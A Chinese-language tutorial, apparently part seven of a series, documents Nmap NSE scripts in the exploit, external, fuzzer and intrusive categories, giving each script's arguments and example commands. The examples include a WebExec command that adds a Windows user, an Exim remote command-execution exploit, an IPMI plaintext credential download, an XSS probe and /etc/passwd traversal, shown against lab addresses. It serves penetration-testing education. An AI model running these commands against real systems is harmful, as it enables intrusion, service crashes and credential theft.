Nmap全脚本使用指南!NSE脚本全详细教程!Kali Linux教程!(七)

脚本类别

exploit(利用)

518. smb-webexec-exploit

尝试使用 WebExec 漏洞通过 WebExService 运行命令。给定一个 Windows 帐户(本地或域),这将通过 SMB 协议启动具有 SYSTEM 权限的任意可执行文件。

参数 webexec_command 将直接运行该命令。它可能以 GUI 启动,也可能不以 GUI 启动。webexec_gui_command 将始终以 GUI 启动,如果您有访问权限,则可用于以 SYSTEM 身份运行“cmd.exe”等命令。

参考文献:

        https://www.webexec.org
        https://blog.skullsecurity.org/2018/technical-rundown-of-webexec

webexec_gui_command

        使用 GUI 在目标上运行的命令

webexec_command

        在目标上运行的命令

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script "smb-vuln-webexec" --script-args 'smbusername=msfadmin,smbpass=msfadmin,webexec_command=net user test test /add' -p139,445 192.168.174.132
nmap --script "smb-vuln-webexec" --script-args 'smbusername=msfadmin,smbpass=msfadmin,webexec_gui_command=cmd' -p139,445 192.168.174.132

519. smtp-vuln-cve2010-4344

检查和/或利用 Exim 4.69 版之前的版本中的堆溢出 (CVE-2010-4344) 以及 Exim 4.72 及更早版本中的权限提升漏洞 (CVE-2010-4345)。

堆溢出漏洞允许远程攻击者以 Exim 守护进程的权限执行任意代码 (CVE-2010-4344)。如果漏洞利用失败,则 Exim smtpd 子进程将被终止 (堆损坏)。

该脚本还检查影响 Exim 4.72 及更早版本的权限提升漏洞。该漏洞允许 exim 用户通过使用 -C 选项指定备用配置文件来获得 root 权限 (CVE-2010-4345)。

smtp-vuln-cve2010-4344.exploit 脚本参数将使脚本尝试利用漏洞,通过发送超过 50MB 的数据,这取决于 Exim 服务器的消息大小限制配置选项。如果漏洞利用成功,exploit.cmd 或 smtp-vuln-cve2010-4344.cmd 脚本参数可用于在 Exim 用户权限下在远程系统上运行任意命令。如果设置了此脚本参数,则它将启用 smtp-vuln-cve2010-4344.exploit 参数。

要获取此脚本的适当调试消息,请使用 -d2。

此脚本的部分逻辑基于 metasploit exim4_string_format 漏洞利用。

        http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format

参考:

        http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4344
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4345

exploit.cmd

        或 smtp-vuln-cve2010-4344.cmd 在远程系统上以 Exim 用户权限运行的任意命令。如果设置了此参数,它将启用 smtp-vuln-cve2010-4344.exploit 参数。

smtp-vuln-cve2010-4344.mailto

        定义要使用的目标电子邮件地址。

smtp-vuln-cve2010-4344.mailfrom

        定义要使用的源电子邮件地址。

smtp-vuln-cve2010-4344.exploit

        该脚本将强制检查,并尝试利用 Exim SMTP 服务器。

smtp.domain

        请参阅 smtp 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

sudo nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 ip/域名
nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 ip/域名

520. supermicro-ipmi-conf

尝试在易受攻击的 Supermicro Onboard IPMI 控制器中下载包含纯文本用户凭据的未受保护的配置文件。

该脚本连接到端口 49152 并发出“/PSBlock”请求以下载该文件。此配置文件包含纯文本形式的用户及其密码。

参考文献:

        http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/
        https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi

supermicro-ipmi-conf.out

        输出文件以存储配置文件。默认值:<ip>_bmc.conf

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap -p49152 --script "supermicro-ipmi-conf" ip/域名

external(外部)

此类别中的脚本可能会将数据发送到第三方数据库或其他网络资源。 例如 whois-ip,它会连接到 whois 服务器以了解目标的地址。 第三方数据库的操作员总是有可能记录您发送给他们的任何内容,在许多情况下,这些内容将包括您的 IP 地址和目标的地址。 大多数脚本仅涉及扫描计算机和客户端之间的流量; 任何不涉及此类别的脚本都归入此类别。

asn-query

已演示过。这里不再演示。

521. dns-blacklist

根据多个 DNS 反垃圾邮件和开放代理黑名单检查目标 IP 地址,并返回已标记 IP 的服务列表。检查可能受服务类别(例如:垃圾邮件、代理)或特定服务名称的限制。

dns-blacklist.services

        包含要查询的服务的逗号分隔列表的字符串。(默认值:全部)

dns-blacklist.ip

        包含仅在将脚本作为预规则运行时才需要检查的 IP 的字符串。

dns-blacklist.list

        列出特定类别可用的所有服务。

dns-blacklist.category

        包含要查询的服务类别的字符串,例如垃圾邮件或代理(默认值:全部)

dns-blacklist.mode

        包含“短”或“长”的字符串,长模式有时可以提供有关 IP 被列入黑名单的原因的其他信息。(默认值:长)

nmap --script "dns-blacklist" --script-args='dns-blacklist.ip=8.8.8.8'
sudo nmap -sn 8.8.8.8 --script "dns-blacklist"

dns-check-zone

已演示过。这里不再演示。

522. dns-random-srcport

检查 DNS 服务器是否存在可预测端口递归漏洞。可预测源端口会使 DNS 服务器容易受到缓存中毒攻击(请参阅 CVE-2008-1447)。

该脚本通过查询 porttest.dns-oarc.net 来工作(请参阅 https://www.dns-oarc.net/oarc/services/porttest)。请注意,运行此脚本的任何目标都将被发送到一个或多个 DNS 服务器和 porttest 服务器,并可能被记录下来。此外,您的 IP 地址将与 porttest 查询一起发送到目标上运行的 DNS 服务器。

sudo nmap -sU -p 53 --script=dns-random-srcport scanme.nmap.org

523. dns-random-txid

检查 DNS 服务器是否存在可预测的 TXID DNS 递归漏洞。可预测的 TXID 值可能使 DNS 服务器容易受到缓存中毒攻击(请参阅 CVE-2008-1447)。

该脚本通过查询 txidtest.dns-oarc.net 来工作(请参阅 https://www.dns-oarc.net/oarc/services/txidtest)。请注意,运行此脚本的任何目标都将被发送到一个或多个 DNS 服务器和 txidtest 服务器,并可能被记录。此外,您的 IP 地址将与 txidtest 查询一起发送到目标上运行的 DNS 服务器。

sudo nmap -sU -p 53 --script=dns-random-txid ip/域名

dns-zeustracker

已演示过。这里不再演示。

hostmap-bfk

已演示过。这里不再演示。

hostmap-crtsh

已演示过。这里不再演示。

hostmap-robtex

已演示过。这里不再演示。

524. http-cross-domain-policy

检查 Web 应用程序中的跨域策略文件 (/crossdomain.xml) 和客户端访问策略文件 (/clientaccesspolicy.xml),并列出受信任的域。过于宽松的设置会导致跨站点请求伪造攻击,并可能允许攻击者访问敏感数据。此脚本可用于检测宽松的配置和可能可供购买以利用应用程序的域名。

该脚本查询 instantdomainsearch.com 以查找域。此功能默认关闭,要启用它,请设置脚本参数 http-cross-domain-policy.domain-lookup。

参考文献:

        http://sethsec.blogspot.com/2014/03/exploiting-misconfigured-crossdomainxml.html
        http://gursevkalra.blogspot.com/2013/08/bypassing-same-origin-policy-with-flash.html
        https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
        https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/CrossDomain_PolicyFile_Specification.pdf
        https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_%28OTG-CONFIG-008%29
        http://acunetix.com/vulnerabilities/web/insecure-clientaccesspolicy-xml-file

http-cross-domain-policy.domain-lookup

        用于检查域可用性的布尔值。默认值:false

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap --script "http-cross-domain-policy" ip/域名
nmap -p 80 --script "http-cross-domain-policy" --script-args "http-cross-domain-policy.domain-lookup=true" ip/域名

http-google-malware

已演示过。这里不再演示。

http-icloud-findmyiphone

已演示过。这里不再演示。

http-icloud-sendmsg

已演示过。这里不再演示。

http-open-proxy

已演示过。这里不再演示。

http-proxy-brute

已演示过。这里不再演示。

http-robtex-reverse-ip

已演示过。这里不再演示。

http-robtex-shared-ns

已演示过。这里不再演示。

525. http-virustotal

检查文件是否已被 Virustotal 确定为恶意软件。Virustotal 是一种服务,它提供扫描文件或检查与多家主要防病毒供应商的校验和的功能。该脚本使用公共 API,需要有效的 API 密钥,并且每分钟最多可查询 4 ​​次。通过在 virustotal 网页上注册为用户即可获得密钥:

        http://www.virustotal.com

该脚本支持将文件发送到服务器进行分析,或检查校验和(作为参数提供或从本地文件计算)是否先前被发现为恶意软件。

由于上传的文件已排队等待分析,因此此模式仅返回一个 URL,可从中检查排队文件的状态。

http-virustotal.checksum

        要检查的文件的 SHA1、SHA256、MD5 校验和

http-virustotal.apikey

        从 virustotal 网页获取的 API 密钥

http-virustotal.upload

        如果文件应上传并扫描,则为 true;如果应计算本地文件的校验和,则为 false(默认值:false)

http-virustotal.filename

        要校验和或上传的文件的完整路径

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

sudo nmap --script "http-virustotal" --script-args='http-virustotal.apikey="<key>",http-virustotal.checksum="275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"' 192.168.174.1

http-xssed

已演示过。这里不再演示。

ip-geolocation-geoplugin

已演示过。这里不再演示。

ip-geolocation-ipinfodb

已演示过。这里不再演示。

526. ip-geolocation-map-bing

此脚本查询 Nmap 注册表以获取先前地理定位脚本存储的目标的 GPS 坐标,并呈现代表目标的标记的 Bing 地图。

Bing Maps REST API 限制为 100 个标记,因此如果找到更多坐标,则仅显示按 IP 数量排名的前 100 个标记。

有关 Bing Maps REST Services API 的其他信息,请访问:- https://msdn.microsoft.com/en-us/library/ff701724.aspx

ip-geolocation-map-bing.format

        默认值为“jpeg”,也允许使用“png”和“gif”。

ip-geolocation-map-bing.size

        默认值为“640x640”像素,但可以更改,只要宽度在 80 到 2000 像素之间,高度在 80 到 1500 像素之间即可。

ip-geolocation-map-bing.marker_style

        此参数可以将样式应用于标记。https://msdn.microsoft.com/en-us/library/ff701719.aspx

ip-geolocation-map-bing.map_path

        渲染的 Bing 地图将保存到本地文件系统的路径。

ip-geolocation-map-bing.language

        默认值为“en”,但接受其他两个字母的语言代码。

ip-geolocation-map-bing.layer

        默认值为“Road”,“Aerial”和“AerialWithLabels”也是允许的。

ip-geolocation-map-bing.api_key

        您的帐户所需的 Bing Maps API 密钥。可以在 https://www.bingmapsportal.com/ 生成 API 密钥

ip-geolocation-map-bing.center

        定义图像中心的 GPS 坐标。如果省略,Bing Maps 将选择显示所有标记的中心。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap -sn -Pn --script "ip-geolocation-geoplugin,ip-geolocation-map-bing" --script-args "ip-geolocation-map-bing.api_key=redacted,ip-geolocation-map-bing.map_path=map.png" ip/域名

527. ip-geolocation-map-google

此脚本查询 Nmap 注册表以获取先前地理定位脚本存储的目标的 GPS 坐标,并呈现代表目标的标记的 Google 地图。

有关 Google 静态地图 API 的其他信息,请访问:- https://developers.google.com/maps/documentation/static-maps/intro

ip-geolocation-map-google.layer

        默认值为“roadmap”,也允许使用“satellite”、“hybrid”和“terrain”。https://developers.google.com/maps/documentation/static-maps/intro#MapTypes

ip-geolocation-map-google.map_path

        渲染后的 Google Map 将保存到本地文件系统的路径。

ip-geolocation-map-google.format

        默认值为“png”(“png8”的别名),也允许使用“png32”、“gif”、“jpg”和“jpg-baseline”。https://developers.google.com/maps/documentation/static-maps/intro#ImageFormats

ip-geolocation-map-google.api_key

        您的帐户所需的 Google Maps API 密钥。可以在 https://developers.google.com/maps/documentation/static-maps/

ip-geolocation-map-google.scale

        生成 API 密钥,默认值为 1,但允许使用值 2 和 4。比例级别 4 仅适用于 Google Maps Premium 客户。https://developers.google.com/maps/documentation/static-maps/intro#scale_values

ip-geolocation-map-google.marker_style

        此参数可以对标记应用样式。https://developers.google.com/maps/documentation/static-maps/intro#MarkerStyles

ip-geolocation-map-google.center

        定义图像中心的 GPS 坐标。如果省略,Google Maps 将选择显示所有标记的中心。

ip-geolocation-map-google.size

        默认值为“640x640”像素,但 Google Maps Premium 客户可以增加该值。 https://developers.google.com/maps/documentation/static-maps/intro#Imagesizes

ip-geolocation-map-google.language

        默认值为 'en',但其他两个字母的语言代码也可以接受。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap -sn -Pn --script "ip-geolocation-geoplugin,ip-geolocation-map-google" --script-args "ip-geolocation-map-google.api_key=redacted,ip-geolocation-map-google.map_path=map.png" ip/域名

ip-geolocation-maxmind

已演示过。这里不再演示。

shodan-api

已演示过。这里不再演示。

smtp-enum-users

已演示过。这里不再演示。

smtp-open-relay

已演示过。这里不再演示。

socks-open-proxy

已演示过。这里不再演示。

targets-asn

已演示过。这里不再演示。

528. tor-consensus-checker

检查目标是否为已知的 Tor 节点。

该脚本通过查询 Tor 目录权限来工作。最初,该脚本将所有 Tor 节点的 IP 存储在查找表中,以减少请求数量并加快查找速度。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script=tor-consensus-checker scanme.nmap.org

traceroute-geolocation

已演示过。这里不再演示。

529. vulners

对于每个可用的 CPE,脚本都会打印出已知漏洞(链接到相应的信息)和相应的 CVSS 分数。

它的工作原理非常简单:

仅在为开放端口识别出某个软件版本时才起作用
获取该软件的所有已知 CPE(来自标准 nmap -sV 输出)
向远程服务器(vulners.com API)发出请求,以了解该 CPE 是否存在任何已知漏洞
如果通过这种方式找不到信息,请尝试仅使用软件名称获取信息
打印出获得的信息

注意:由于包含所有漏洞的数据库大小超过 250GB,因此无法使用本地数据库。 因此我们确实向远程服务发出请求。 但所有请求都只包含两个字段 - 软件名称及其版本(或 CPE),因此仍然可以拥有所需的隐私。

vulners.mincvss

        将显示的 CVE 限制为具有此 CVSS 分数或更高的 CVE。

slaxml.debug

        请参阅 slaxml 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

nmap -sV --script "vulners" --script-args "mincvss=7.0" ip/域名

whois-domain

已演示过。这里不再演示。

whois-ip

已演示过。这里不再演示。

fuzzer(模糊测试器)

此类别包含旨在在每个数据包中向服务器软件发送意外或随机字段的脚本。虽然此技术可用于查找软件中未发现的错误和漏洞,但它既缓慢又占用大量带宽。此类别中的脚本示例是 dns-fuzz,它会用略有缺陷的域请求轰炸 DNS 服务器,直到服务器崩溃或用户指定的时间限制过去。

530. dns-fuzz

对 DNS 服务器发起 DNS 模糊测试攻击。

该脚本将错误引入随机生成但有效的 DNS 数据包中。我们使用的数据包模板包括一个未压缩的名称和一个压缩的名称。

使用 dns-fuzz.timelimit 参数来控制模糊测试的持续时间。此脚本应运行很长时间。它将发送大量数据包,因此具有很强的侵入性,因此它只应作为软件开发生命周期的一部分用于私有 DNS 服务器。

dns-fuzz.timelimit

        运行模糊测试攻击的时间。这是一个数字,后跟一个后缀:s 表示秒,m 表示分钟,h 表示小时。使用 0 表示无限长的时间。默认值:10 分钟。

sudo nmap -sU --script "dns-fuzz" --script-args "timelimit=3m" ip/域名

531. http-form-fuzzer

对网站上的表单执行简单的表单模糊测试。尝试增加长度的字符串和数字,并尝试确定模糊测试是否成功。

http-form-fuzzer.minlength

        用于模糊测试的字符串的最小长度,默认为 300000

http-form-fuzzer.maxlength

        用于模糊测试的字符串的最大长度,默认为 310000

http-form-fuzzer.targets

        包含模糊测试目标的表格,例如 {{path = /index.html, minlength = 40002}, {path = /foo.html, maxlength = 10000}}。path 参数是必需的,如果未指定 minlength 或 maxlength,则将使用 http-form-fuzzer.minlength 或 http-form-fuzzer.maxlength 的值。默认为 {{path="/"}}

slaxml.debug

        请参阅 slaxml 库的文档。

httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost

        请参阅 httpsspider 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script "http-form-fuzzer" --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 ip/域名

此脚本尝试模糊测试其检测到的表单中的字段(它一次模糊测试一个字段)。
在每次迭代中,它首先尝试使用字符串模糊测试字段,然后使用数字模糊测试。
在输出中,列出了观察到错误的操作和路径,以及在发生错误期间被模糊测试的字段的名称。还提供了导致错误的输入的长度和类型(字符串/整数)。
我们认为错误是:状态为 500 或主体为空的响应,包含“服务器错误”或“sql 错误”字符串的响应。 ATM 除此以外的任何内容都被视为不是“错误”。
待办事项:开发更复杂的技术,让我们确定模糊测试是否成功(即我们得到了“错误”)。理想情况下,应该实现一种算法,告诉我们响应之间的百分比差异。

532. http-phpself-xss

爬取 Web 服务器并尝试通过变量 $_SERVER["PHP_SELF"] 查找易受反射式跨站点脚本攻击的 PHP 文件。

此脚本爬取 Web 服务器以创建 PHP 文件列表,然后发送攻击向量/探测器以识别 PHP_SELF 跨站点脚本漏洞。PHP_SELF XSS 是指由于 PHP 脚本中变量 $_SERVER["PHP_SELF"] 缺乏清理而导致的反射式跨站点脚本漏洞。此变量通常用于显示表单的 PHP 脚本以及需要脚本文件名时。

变量 $_SERVER[PHP_SELF] 中的跨站点脚本漏洞示例:

        http://www.securityfocus.com/bid/37351
        http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage
        http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-1.2.x

使用的攻击媒介/探测器是:/'"/><script>alert(1)</script>

http-phpself-xss.timeout

        爬取超时。(默认 10 秒)

http-phpself-xss.uri

        URI。默认:/

httpspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost

        请参阅 httpsspider 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

slaxml.debug

        请参阅 slaxml 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

nmap --script=http-phpself-xss -p80 ip/域名

info(信息)

multicast-profinet-discovery

已演示过。这里不再演示。

intrusive(侵入性)

这些脚本不能归类为安全类别,因为它们的风险太高,可能会导致目标系统崩溃、占用目标主机上的大量资源(如带宽或 CPU 时间),或者被目标系统管理员视为恶意脚本。例如 http-open-proxy(尝试将目标服务器用作 HTTP 代理)和 snmp-brute(尝试通过发送公共值(如 public、private 和 cisco)来猜测设备的 SNMP 社区字符串)。除非脚本属于特殊版本类别,否则应将其归类为安全或侵入性。

afp-brute

已演示过。这里不再演示。

afp-path-vuln

已演示过。这里不再演示。

ajp-brute

已演示过。这里不再演示。

backorifice-brute

已演示过。这里不再演示。

broadcast-avahi-dos

已演示过。这里不再演示。

cassandra-brute

已演示过。这里不再演示。

cics-enum

已演示过。这里不再演示。

cics-user-brute

已演示过。这里不再演示。

cics-user-enum

已演示过。这里不再演示。

citrix-brute-xml

已演示过。这里不再演示。

cvs-brute

已演示过。这里不再演示。

cvs-brute-repository

已演示过。这里不再演示。

deluge-rpc-brute

已演示过。这里不再演示。

distcc-cve2004-2687

已演示过。这里不再演示。

dns-brute

已演示过。这里不再演示。

dns-cache-snoop

已演示过。这里不再演示。

dns-fuzz

已演示过。这里不再演示。

dns-ip6-arpa-scan

已演示过。这里不再演示。

dns-nsec-enum

已演示过。这里不再演示。

dns-nsec3-enum

已演示过。这里不再演示。

dns-random-srcport

已演示过。这里不再演示。

dns-random-txid

已演示过。这里不再演示。

533. dns-update

尝试执行动态 DNS 更新而无需身份验证。

需要 test 或 hostname 和 ip 脚本参数。请注意,由于使用不是目标上配置的区域的静态区域名称,测试功能可能会失败。

dns-update.test

        添加和删除 4 条记录以确定目标是否易受攻击。

dns-update.ip

        要添加到区域的主机的 IP 地址

dns-update.hostname

        要添加到区域的主机的名称

sudo nmap -sU -p 53 --script=dns-update --script-args=dns-update.hostname=foo.example.com,dns-update.ip=192.0.2.1 192.168.174.132

dns-zone-transfer

已演示过。这里不再演示。

domcon-brute

已演示过。这里不再演示。

domcon-cmd

已演示过。这里不再演示。

domino-enum-users

已演示过。这里不再演示。

dpap-brute

已演示过。这里不再演示。

drda-brute

已演示过。这里不再演示。

534. firewall-bypass

检测 netfilter 和其他防火墙中的漏洞,这些防火墙使用助手动态打开 ftp 和 sip 等协议的端口。

该脚本通过欺骗目标服务器的数据包来工作,请求打开与目标端口的相关连接,防火墙将通过适当的协议助手端口来实现此目的。要使此功能正常工作,攻击机器应与防火墙位于同一网段。该脚本支持 IPv4 和 IPv6 上的 ftp 助手。使用真实路径过滤器来防止此类攻击。

基于 Eric Leblond 所做的工作。

有关更多信息,请参阅:

        http://home.regit.org/2012/03/playing-with-network-layers-to-bypass-firewalls-filtering-policy/

firewall-bypass.helper

        要使用的帮助程序。默认为 ftp。支持的帮助程序:ftp(IPv4 和 IPv6)。

firewall-bypass.targetport

        测试漏洞的端口。目标端口应为非开放端口。如果未指定,脚本将尝试从端口扫描结果中查找已过滤或已关闭的端口。

firewall-bypass.helperport

        如果不使用帮助程序的默认端口。

sudo nmap --script "firewall-bypass" ip/域名
sudo nmap --script "firewall-bypass" --script-args 'firewall-bypass.helper="ftp",firewall-bypass.targetport=22' ip/域名

ftp-brute

已演示过。这里不再演示。

535. ftp-libopie

检查 FTPd 是否容易受到 CVE-2010-1938(OPIE 差一堆栈溢出)的影响,该漏洞由 Maksymilian Arciemowicz 和 Adam "pi3" Zabrocki 发现。请参阅 https://nmap.org/r/fbsd-sa-opie 上的公告。请注意,如果针对易受攻击的主机启动此脚本,则会导致 FTPd 崩溃。

vulns.short, vulns.showall

        请参阅 vulns 库的文档。

nmap -sV --script=ftp-libopie -p21 192.168.174.132

ftp-proftpd-backdoor

已演示过。这里不再演示。

ftp-vsftpd-backdoor

已演示过。这里不再演示。

536. ftp-vuln-cve2010-4221

检查 ProFTPD 服务器中是否存在基于堆栈的缓冲区溢出,版本介于 1.3.2rc3 和 1.3.3b 之间。通过发送大量 TELNET_IAC 转义序列,proftpd 进程会错误计算缓冲区长度,远程攻击者将能够破坏堆栈并在 proftpd 进程的上下文中执行任意代码 (CVE-2010-4221)。利用此漏洞无需身份验证。

参考:

        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
        http://www.exploit-db.com/exploits/15449/
        http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac

vulns.short, vulns.showall

        请参阅 vulns 库的文档。

nmap --script "ftp-vuln-cve2010-4221" -p 21 192.168.174.132

hartip-info

已演示过。这里不再演示。

http-awstatstotals-exec

已演示过。这里不再演示。

http-axis2-dir-traversal

已演示过。这里不再演示。

http-barracuda-dir-traversal

已演示过。这里不再演示。

http-brute

已演示过。这里不再演示。

http-chrono

已演示过。这里不再演示。

http-config-backup

已演示过。这里不再演示。

http-csrf

已演示过。这里不再演示。

http-default-accounts

已演示过。这里不再演示。

http-devframework

已演示过。这里不再演示。

http-dombased-xss

已演示过。这里不再演示。

http-domino-enum-passwords

已演示过。这里不再演示。

http-drupal-enum

已演示过。这里不再演示。

http-drupal-enum-users

已演示过。这里不再演示。

http-enum

已演示过。这里不再演示。

http-errors

已演示过。这里不再演示。

537. http-exif-spider

抓取网站图片的蜘蛛,寻找嵌入在 .jpg 文件中的有趣 exif 数据。显示相机的品牌和型号、照片拍摄日期以及嵌入的地理标记信息。

http-exif-spider.url

        开始抓取数据的 URL。这是相对于被扫描主机的 URL,例如 /default.html(默认值:/)

slaxml.debug

        请参阅 slaxml 库的文档。

httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost

        请参阅 httpspider 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script "http-exif-spider" -p80,443 ip/域名

http-feed

已演示过。这里不再演示。

http-fileupload-exploiter

已演示过。这里不再演示。

http-form-brute

已演示过。这里不再演示。

http-form-fuzzer

已演示过。这里不再演示。

http-iis-short-name-brute

已演示过。这里不再演示。

538. http-iis-webdav-vuln

检查 IIS 5.1/6.0 中的漏洞,该漏洞允许任意用户通过搜索受密码保护的文件夹并尝试访问该文件夹来访问受保护的 WebDAV 文件夹。此漏洞已在 Microsoft 安全公告 MS09-020 中修补,https://nmap.org/r/ms09-020。

默认情况下使用众所周知的文件夹列表(近 900 个)。检查每个文件夹,如果返回身份验证请求 (401),则使用恶意编码尝试另一次尝试。如果该尝试返回成功结果 (207),则该文件夹被标记为易受攻击。

该脚本基于 Metasploit 辅助模块auxiliary/scanner/http/wmap_dir_webdav_unicode_bypass

有关此漏洞和脚本的更多信息,请参阅:

        http://blog.zoller.lu/2009/05/iis-6-webdac-auth-bypass-and-data.html
        http://seclists.org/fulldisclosure/2009/May/att-134/IIS_Advisory_pdf.bin
        http://www.skullsecurity.org/blog/?p=271
        http://www.kb.cert.org/vuls/id/787932
        http://www.microsoft.com/technet/security/advisory/971492.mspx

basefolder

        启动文件夹;例如,“/web”将尝试“/web/xxx”。

folderdb

        备用文件夹列表的文件名。

webdavfolder

        选择要使用的单个文件夹,而不是使用内置列表。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script "http-iis-webdav-vuln" -p80,8080 ip/域名

http-joomla-brute

已演示过。这里不再演示。

http-litespeed-sourcecode-download

已演示过。这里不再演示。

http-majordomo2-dir-traversal

已演示过。这里不再演示。

http-open-redirect

已演示过。这里不再演示。

539. http-passwd

通过尝试检索 /etc/passwd 或 \boot.ini 检查 Web 服务器是否容易受到目录遍历攻击。

该脚本使用几种技术:

        通过请求路径(如 ../../../../etc/passwd)进行通用目录遍历。
        已知对多个 Web 服务器的特定遍历。
        查询字符串遍历。这会将遍历作为查询字符串参数发送到看起来像是引用本地文件名的路径。在脚本参数 http-passwd.root 控制的路径中搜索潜在查询。

http-passwd.root

        查询字符串测试将相对于此路径进行。默认值为 /。通常,该值应包含前导斜杠。查询将以尾随编码的空字节发送,以逃避某些检查;请参阅 http://insecure.org/news/P55-01.txt。

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script "http-passwd" --script-args "http-passwd.root=/test/" ip/域名

http-phpself-xss

已演示过。这里不再演示。

http-proxy-brute

已演示过。这里不再演示。

http-put

已演示过。这里不再演示。

540. http-rfi-spider

爬取网络服务器以查找 RFI(远程文件包含)漏洞。它会测试找到的每个表单字段以及包含查询的 URL 的每个参数。

http-rfi-spider.withinhost

        仅抓取同一主机内的 URL。(默认值:true)

http-rfi-spider.url

        开始抓取的 URL。这是相对于扫描主机的 URL,例如 /default.html(默认值:/)

http-rfi-spider.withindomain

        仅抓取同一域内的 URL。这会将范围从 withinhost 扩大,并且不能组合使用。(默认值:false)

http-rfi-spider.inclusionurl

        我们将尝试包含的 URL,默认为 http://tools.ietf.org/html/rfc13?

http-rfi-spider.maxdepth

        抓取的初始 URL 下的最大目录数量。负值将禁用限制。(默认值:3)

http-rfi-spider.maxpagecount

        访问的最大页面数量。负值禁用限制(默认值:20)

http-rfi-spider.pattern

        在 response.body 中搜索以确定包含是否成功的模式,默认为“1969 年 8 月 20 日”

slaxml.debug

        请参阅 slaxml 库的文档。

httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost

        请参阅 httpspider 库的文档。

